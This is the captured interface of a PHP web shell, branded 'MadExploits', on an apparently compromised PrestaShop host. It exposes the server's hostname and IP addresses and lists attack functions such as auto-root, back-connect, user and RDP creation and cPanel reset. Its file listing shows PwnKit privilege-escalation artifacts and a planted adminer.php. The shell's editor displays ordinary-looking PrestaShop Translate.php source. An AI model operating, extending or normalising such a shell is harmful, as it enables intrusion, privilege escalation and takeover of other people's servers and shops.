Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Smarty
[ DIR ]
drwx---r-x
assets
[ DIR ]
drwx---r-x
cache
[ DIR ]
drwx---r-x
checkout
[ DIR ]
drwx---r-x
container
[ DIR ]
drwx---r-x
controller
[ DIR ]
drwx---r-x
db
[ DIR ]
drwx---r-x
exception
[ DIR ]
drwx---r-x
form
[ DIR ]
drwx---r-x
helper
[ DIR ]
drwx---r-x
lang
[ DIR ]
drwx---r-x
log
[ DIR ]
drwx---r-x
module
[ DIR ]
drwx---r-x
order
[ DIR ]
drwx---r-x
pdf
[ DIR ]
drwx---r-x
product
[ DIR ]
drwx---r-x
proxy
[ DIR ]
drwx---r-x
range
[ DIR ]
drwx---r-x
shop
[ DIR ]
drwx---r-x
stock
[ DIR ]
drwx---r-x
tax
[ DIR ]
drwx---r-x
tree
[ DIR ]
drwx---r-x
webservice
[ DIR ]
drwx---r-x
.htaccess
170
B
-rw----r--
.mad-root
0
B
-rw-r--r--
Access.php
13.2
KB
-rw----r--
Address.php
20.13
KB
-rw----r--
AddressChecksumCore.php
1.7
KB
-rw----r--
AddressFormat.php
25.62
KB
-rw----r--
Alias.php
5.03
KB
-rw----r--
Attachment.php
7.91
KB
-rw----r--
Attribute.php
13.47
KB
-rw----r--
AttributeGroup.php
13.32
KB
-rw----r--
CMS.php
11.41
KB
-rw----r--
CMSCategory.php
24.09
KB
-rw----r--
CMSRole.php
1.78
KB
-rw----r--
CSV.php
3.04
KB
-rw----r--
Carrier.php
61.57
KB
-rw----r--
Cart.php
212.71
KB
-rw----r--
CartRule.php
88.48
KB
-rw----r--
Category.php
84.77
KB
-rw----r--
Chart.php
4.16
KB
-rw----r--
ChecksumInterface.php
1.13
KB
-rw----r--
Combination.php
14.5
KB
-rw----r--
Configuration.php
26.03
KB
-rw----r--
ConfigurationKPI.php
8.64
KB
-rw----r--
ConfigurationTest.php
11.92
KB
-rw----r--
Connection.php
10.31
KB
-rw----r--
ConnectionsSource.php
5.72
KB
-rw----r--
Contact.php
3.77
KB
-rw----r--
Context.php
13.8
KB
-rw----r--
Cookie.php
16.42
KB
-rw----r--
Country.php
16.12
KB
-rw----r--
Currency.php
35.48
KB
-rw----r--
Curve.php
2.42
KB
-rw----r--
Customer.php
46.67
KB
-rw----r--
CustomerAddress.php
1.26
KB
-rw----r--
CustomerMessage.php
5.71
KB
-rw----r--
CustomerSession.php
2.31
KB
-rw----r--
CustomerThread.php
9.63
KB
-rw----r--
Customization.php
13.35
KB
-rw----r--
CustomizationField.php
2.72
KB
-rw----r--
DateRange.php
2.47
KB
-rw----r--
Delivery.php
3.24
KB
-rw----r--
Dispatcher.php
43.1
KB
-rw----r--
Employee.php
22.1
KB
-rw----r--
EmployeeSession.php
2.32
KB
-rw----r--
Feature.php
11.16
KB
-rw----r--
FeatureValue.php
8.02
KB
-rw----r--
FileUploader.php
3.54
KB
-rw----r--
Gender.php
2.71
KB
-rw----r--
Group.php
14.51
KB
-rw----r--
GroupReduction.php
9.84
KB
-rw----r--
Guest.php
7.9
KB
-rw----r--
Hook.php
42.13
KB
-rw----r--
Image.php
28.51
KB
-rw----r--
ImageManager.php
23.98
KB
-rw----r--
ImageType.php
6.94
KB
-rw----r--
Language.php
57.96
KB
-rw----r--
Link.php
56.55
KB
-rw----r--
LocalizationPack.php
25.19
KB
-rw----r--
Mail.php
31.22
KB
-rw----r--
Manufacturer.php
20.82
KB
-rw----r--
ManufacturerAddress.php
1.28
KB
-rw----r--
Media.php
34.44
KB
-rw----r--
Message.php
6.26
KB
-rw----r--
Meta.php
17.97
KB
-rw----r--
Notification.php
7.42
KB
-rw----r--
ObjectModel.php
75.02
KB
-rw----r--
Pack.php
22.78
KB
-rw----r--
Page.php
4.48
KB
-rw----r--
PaymentFree.php
1.25
KB
-rw----r--
PaymentModule.php
59.53
KB
-rw----r--
PhpEncryption.php
3.39
KB
-rw----r--
PhpEncryptionEngine.php
4.26
KB
-rw----r--
PhpEncryptionLegacyEngine.php
4.77
KB
-rw----r--
PrestaShopAutoload.php
12.25
KB
-rw----r--
PrestaShopBackup.php
12.07
KB
-rw----r--
PrestaShopCollection.php
21.07
KB
-rw----r--
PrestaShopLogger.php
6.5
KB
-rw----r--
Product.php
269.79
KB
-rw----r--
ProductAssembler.php
3.37
KB
-rw----r--
ProductDownload.php
9.77
KB
-rw----r--
ProductPresenterFactory.php
3.6
KB
-rw----r--
ProductSale.php
12.7
KB
-rw----r--
ProductSupplier.php
8.76
KB
-rw----r--
Profile.php
7.56
KB
-rw----r--
QqUploadedFileForm.php
4.93
KB
-rw----r--
QqUploadedFileXhr.php
5.56
KB
-rw----r--
QuickAccess.php
4.65
KB
-rw----r--
Referrer.php
17.45
KB
-rw----r--
RequestSql.php
20.14
KB
-rw----r--
Risk.php
2.36
KB
-rw----r--
Search.php
51.05
KB
-rw----r--
SearchEngine.php
2.79
KB
-rw----r--
SpecificPrice.php
30.68
KB
-rw----r--
SpecificPriceRule.php
13.67
KB
-rw----r--
State.php
7.38
KB
-rw----r--
Store.php
6.25
KB
-rw----r--
Supplier.php
17.66
KB
-rw----r--
SupplierAddress.php
1.27
KB
-rw----r--
Tab.php
21.37
KB
-rw----r--
Tag.php
11.66
KB
-rw----r--
Tools.php
144.64
KB
-rw----r--
Translate.php
13.81
KB
-rw----r--
TranslatedConfiguration.php
4.56
KB
-rw----r--
Upgrader.php
11.54
KB
-rw----r--
Uploader.php
11.41
KB
-rw----r--
Validate.php
34.53
KB
-rw----r--
ValidateConstraintTranslator.p...
2.55
KB
-rw----r--
WarehouseAddress.php
1.27
KB
-rw----r--
Windows.php
1.34
KB
-rw----r--
Zone.php
3.4
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Translate.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ /** * Class TranslateCore. * * @since 1.5.0 */ class TranslateCore { public static $regexSprintfParams = '#(?:%%|%(?:[0-9]+\$)?[+-]?(?:[ 0]|\'.)?-?[0-9]*(?:\.[0-9]+)?[bcdeufFosxX])#'; public static $regexClassicParams = '/%\w+%/'; public static function getFrontTranslation($string, $class, $addslashes = false, $htmlentities = true, $sprintf = null) { global $_LANG; $string = preg_replace("/\\\*'/", "\'", $string); $key = $class . '_' . md5($string); if (isset($_LANG[$key])) { $str = $_LANG[$key]; } else { $str = $string; } if ($htmlentities) { $str = htmlspecialchars($str, ENT_QUOTES, 'utf-8'); } $str = str_replace('"', '"', $str); if ( $sprintf !== null && (!is_array($sprintf) || !empty($sprintf)) && !(count($sprintf) === 1 && isset($sprintf['legacy'])) ) { $str = Translate::checkAndReplaceArgs($str, $sprintf); } return $addslashes ? addslashes($str) : stripslashes($str); } /** * Get a translation for an admin controller. * * @param $string * @param string $class * @param bool $addslashes * @param bool $htmlentities * * @return string */ public static function getAdminTranslation($string, $class = 'AdminTab', $addslashes = false, $htmlentities = true, $sprintf = null) { static $modulesTabs = null; // @todo remove global keyword in translations files and use static global $_LANGADM; if ($modulesTabs === null) { $modulesTabs = Tab::getModuleTabList(); } if ($_LANGADM == null) { $iso = Context::getContext()->language->iso_code; if (empty($iso)) { $iso = Language::getIsoById((int) Configuration::get('PS_LANG_DEFAULT')); } if (file_exists(_PS_TRANSLATIONS_DIR_ . $iso . '/admin.php')) { include_once _PS_TRANSLATIONS_DIR_ . $iso . '/admin.php'; } } if (isset($modulesTabs[strtolower($class)])) { $classNameController = $class . 'controller'; // if the class is extended by a module, use modules/[module_name]/xx.php lang file if (class_exists($classNameController) && Module::getModuleNameFromClass($classNameController)) { return Translate::getModuleTranslation(Module::$classInModule[$classNameController], $string, $classNameController, $sprintf, $addslashes); } } $string = preg_replace("/\\\*'/", "\'", $string); $key = md5($string); if (isset($_LANGADM[$class . $key])) { $str = $_LANGADM[$class . $key]; } else { $str = Translate::getGenericAdminTranslation($string, $key, $_LANGADM); } if ($htmlentities) { $str = htmlspecialchars($str, ENT_QUOTES, 'utf-8'); } $str = str_replace('"', '"', $str); if ( $sprintf !== null && (!is_array($sprintf) || !empty($sprintf)) && !(count($sprintf) === 1 && isset($sprintf['legacy'])) ) { $str = Translate::checkAndReplaceArgs($str, $sprintf); } return $addslashes ? addslashes($str) : stripslashes($str); } /** * Return the translation for a string if it exists for the base AdminController or for helpers. * * @param $string string to translate * @param null $key md5 key if already calculated (optional) * @param array $langArray Global array of admin translations * * @return string translation */ public static function getGenericAdminTranslation($string, $key, &$langArray) { $string = preg_replace("/\\\*'/", "\'", $string); if (null === $key) { $key = md5($string); } if (isset($langArray['AdminController' . $key])) { $str = $langArray['AdminController' . $key]; } elseif (isset($langArray['Helper' . $key])) { $str = $langArray['Helper' . $key]; } elseif (isset($langArray['AdminTab' . $key])) { $str = $langArray['AdminTab' . $key]; } else { $str = $string; } return $str; } /** * Get a translation for a module. * * @param string|Module $module * @param string $originalString * @param string $source * @param null $sprintf * @param bool $js * @param string|null $locale * @param bool $fallback [default=true] If true, this method falls back to the new translation system if no translation is found * * @return mixed|string * * @throws Exception */ public static function getModuleTranslation( $module, $originalString, $source, $sprintf = null, $js = false, $locale = null, $fallback = true, $escape = true ) { global $_MODULES, $_MODULE, $_LANGADM; static $langCache = []; // $_MODULES is a cache of translations for all module. // $translations_merged is a cache of wether a specific module's translations have already been added to $_MODULES static $translationsMerged = []; $name = $module instanceof Module ? $module->name : $module; if (null !== $locale) { $iso = Language::getIsoByLocale($locale); } if (empty($iso)) { $iso = Context::getContext()->language->iso_code; } if (!isset($translationsMerged[$name][$iso])) { $filesByPriority = [ // PrestaShop 1.5 translations _PS_MODULE_DIR_ . $name . '/translations/' . $iso . '.php', // PrestaShop 1.4 translations _PS_MODULE_DIR_ . $name . '/' . $iso . '.php', // Translations in theme _PS_THEME_DIR_ . 'modules/' . $name . '/translations/' . $iso . '.php', _PS_THEME_DIR_ . 'modules/' . $name . '/' . $iso . '.php', ]; foreach ($filesByPriority as $file) { if (file_exists($file)) { include_once $file; $_MODULES = !empty($_MODULES) ? array_merge($_MODULES, $_MODULE) : $_MODULE; } } $translationsMerged[$name][$iso] = true; } $string = preg_replace("/\\\*'/", "\'", $originalString); $key = md5($string); $cacheKey = $name . '|' . $string . '|' . $source . '|' . (int) $js . '|' . $iso; if (isset($langCache[$cacheKey])) { $ret = $langCache[$cacheKey]; } else { $currentKey = strtolower('<{' . $name . '}' . _THEME_NAME_ . '>' . $source) . '_' . $key; $defaultKey = strtolower('<{' . $name . '}prestashop>' . $source) . '_' . $key; if ('controller' == substr($source, -10, 10)) { $file = substr($source, 0, -10); $currentKeyFile = strtolower('<{' . $name . '}' . _THEME_NAME_ . '>' . $file) . '_' . $key; $defaultKeyFile = strtolower('<{' . $name . '}prestashop>' . $file) . '_' . $key; } if (isset($currentKeyFile) && !empty($_MODULES[$currentKeyFile])) { $ret = stripslashes($_MODULES[$currentKeyFile]); } elseif (isset($defaultKeyFile) && !empty($_MODULES[$defaultKeyFile])) { $ret = stripslashes($_MODULES[$defaultKeyFile]); } elseif (!empty($_MODULES[$currentKey])) { $ret = stripslashes($_MODULES[$currentKey]); } elseif (!empty($_MODULES[$defaultKey])) { $ret = stripslashes($_MODULES[$defaultKey]); } elseif (!empty($_LANGADM)) { // if translation was not found in module, look for it in AdminController or Helpers $ret = stripslashes(Translate::getGenericAdminTranslation($string, $key, $_LANGADM)); } else { $ret = stripslashes($string); } if ( $sprintf !== null && (!is_array($sprintf) || !empty($sprintf)) && !(count($sprintf) === 1 && isset($sprintf['legacy'])) ) { $ret = Translate::checkAndReplaceArgs($ret, $sprintf); } if ($js) { $ret = addslashes($ret); } elseif ($escape) { $ret = htmlspecialchars($ret, ENT_COMPAT, 'UTF-8'); } if ($sprintf === null) { $langCache[$cacheKey] = $ret; } } if (!is_array($sprintf) && null !== $sprintf) { $sprintf_for_trans = [$sprintf]; } elseif (null === $sprintf) { $sprintf_for_trans = []; } else { $sprintf_for_trans = $sprintf; } /* * Native modules working on both 1.6 & 1.7 are translated in messages.xlf * So we need to check in the Symfony catalog for translations */ if ($ret === $originalString && $fallback) { $ret = Context::getContext()->getTranslator()->trans($originalString, $sprintf_for_trans, null, $locale); } return $ret; } /** * Get a translation for a PDF. * * @param string $string * * @return string */ public static function getPdfTranslation($string, $sprintf = null) { global $_LANGPDF; $iso = Context::getContext()->language->iso_code; if (!Validate::isLangIsoCode($iso)) { Context::getContext()->getTranslator()->trans( 'Invalid language ISO code (%s)', [Tools::safeOutput($iso)], 'Admin.International.Notification' ); } if (!isset($_LANGPDF) || !is_array($_LANGPDF)) { return str_replace('"', '"', $string); } $string = preg_replace("/\\\*'/", "\'", $string); $key = md5($string); $str = (array_key_exists('PDF' . $key, $_LANGPDF) ? $_LANGPDF['PDF' . $key] : $string); if ( $sprintf !== null && (!is_array($sprintf) || !empty($sprintf)) && !(count($sprintf) === 1 && isset($sprintf['legacy'])) ) { $str = Translate::checkAndReplaceArgs($str, $sprintf); } return $str; } /** * Check if string use a specif syntax for sprintf and replace arguments if use it. * * @param $string * @param $args * * @return string */ public static function checkAndReplaceArgs($string, $args) { if (!empty($args) && self::isSprintfString($string)) { return vsprintf($string, $args); } elseif (!empty($args)) { return strtr($string, $args); } return $string; } /** * Perform operations on translations after everything is escaped and before displaying it. */ public static function postProcessTranslation($string, $params) { // If tags were explicitely provided, we want to use them *after* the translation string is escaped. if (!empty($params['tags'])) { foreach ($params['tags'] as $index => $tag) { // Make positions start at 1 so that it behaves similar to the %1$d etc. sprintf positional params $position = $index + 1; // extract tag name $match = []; if (preg_match('/^\s*<\s*(\w+)/', $tag, $match)) { $opener = $tag; $closer = '</' . $match[1] . '>'; $string = str_replace('[' . $position . ']', $opener, $string); $string = str_replace('[/' . $position . ']', $closer, $string); $string = str_replace('[' . $position . '/]', $opener . $closer, $string); } } } return $string; } /** * Compatibility method that just calls postProcessTranslation. * * @deprecated renamed this to postProcessTranslation, since it is not only used in relation to smarty */ public static function smartyPostProcessTranslation($string, $params) { return Translate::postProcessTranslation($string, $params); } /** * Helper function to make calls to postProcessTranslation more readable. * * @deprecated 1.7.1.0 */ public static function ppTags($string, $tags) { Tools::displayAsDeprecated(); return Translate::postProcessTranslation($string, ['tags' => $tags]); } /** * @param string $string * * @return bool */ private static function isSprintfString($string) { return (bool) preg_match_all(static::$regexSprintfParams, $string) && !(bool) preg_match_all(static::$regexClassicParams, $string); } }
Close